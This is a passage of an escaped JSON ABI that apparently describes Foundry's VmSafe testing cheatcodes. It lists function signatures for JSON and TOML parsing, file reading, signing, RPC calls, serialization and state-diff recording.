"name\":\"parseJsonBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytes32Array\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytesArray\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"\",\"type\":\"bytes[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonIntArray\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"\",\"type\":\"int256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonKeys\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"keys\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonStringArray\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonUintArray\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseToml\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"}],\"name\":\"parseToml\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlAddressArray\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBoolArray\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"\",\"type\":\"bool[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes32Array\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytesArray\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"\",\"type\":\"bytes[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlIntArray\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"\",\"type\":\"int256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlKeys\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"keys\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlStringArray\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlUintArray\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"parsedValue\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pauseGasMetering\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"projectRoot\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"maxDepth\",\"type\":\"uint64\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"maxDepth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"followLinks\",\"type\":\"bool\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readFile\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readFileBinary\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readLine\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"line\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"linkPath\",\"type\":\"string\"}],\"name\":\"readLink\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"targetPath\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"record\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"recordLogs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"rememberKey\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"keyAddr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"recursive\",\"type\":\"bool\"}],\"name\":\"removeDir\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"removeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"from\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"to\",\"type\":\"string\"}],\"name\":\"replace\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"resumeGasMetering\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"method\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"params\",\"type\":\"string\"}],\"name\":\"rpc\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"rpcAlias\",\"type\":\"string\"}],\"name\":\"rpcUrl\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"rpcUrlStructs\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"url\",\"type\":\"string\"}],\"internalType\":\"struct VmSafe.Rpc[]\",\"name\":\"urls\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"rpcUrls\",\"outputs\":[{\"internalType\":\"string[2][]\",\"name\":\"urls\",\"type\":\"string[2][]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"address[]\",\"name\":\"values\",\"type\":\"address[]\"}],\"name\":\"serializeAddress\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"name\":\"serializeAddress\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bool[]\",\"name\":\"values\",\"type\":\"bool[]\"}],\"name\":\"serializeBool\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"serializeBool\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes[]\",\"name\":\"values\",\"type\":\"bytes[]\"}],\"name\":\"serializeBytes\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"name\":\"serializeBytes\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes32[]\",\"name\":\"values\",\"type\":\"bytes32[]\"}],\"name\":\"serializeBytes32\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"serializeBytes32\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"name\":\"serializeInt\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"int256[]\",\"name\":\"values\",\"type\":\"int256[]\"}],\"name\":\"serializeInt\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"serializeJson\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"string[]\",\"name\":\"values\",\"type\":\"string[]\"}],\"name\":\"serializeString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"serializeString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"serializeUint\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"serializeUint\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"setEnv\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"sign\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"sign\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"signP256\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"duration\",\"type\":\"uint256\"}],\"name\":\"sleep\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delimiter\",\"type\":\"string\"}],\"name\":\"split\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"outputs\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"signer\",\"type\":\"address\"}],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startMappingRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startStateDiffRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopAndReturnStateDiff\",\"outputs\":[{\"components\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"chainId\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.ChainInfo\",\"name\":\"chainInfo\",\"type\":\"tuple\"},{\"internalType\":\"enum VmSafe.AccountAccessKind\",\"name\":\"kind\",\"type\":\"uint8\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"accessor\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"initialized\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"oldBalance\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"newBalance\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"deployedCode\",\"type\":\"bytes\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bool\",\"name\":\"reverted\",\"type\":\"bool\"},{\"components\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"slot\",\"type\":\"bytes32\"},{\"internalType\":\"bool\",\"name\":\"isWrite\",\"type\":\"bool\"},{\"internalType\":\"bytes32\",\"name\":\"previousValue\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"newValue\",\"type\":\"bytes32\"},{\"internalType\":\"bool\",\"name\":\"reverted\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.StorageAccess[]\",\"name\":\"storageAccesses\",\"type\":\"tuple[]\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"}],\"internalType\":\"struct VmSafe.AccountAccess[]\",\"name\":\"accountAccesses\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopMappingRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"toBase64\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"toBase64\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"toBase64URL\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"toBase64URL\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"toLowercase\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\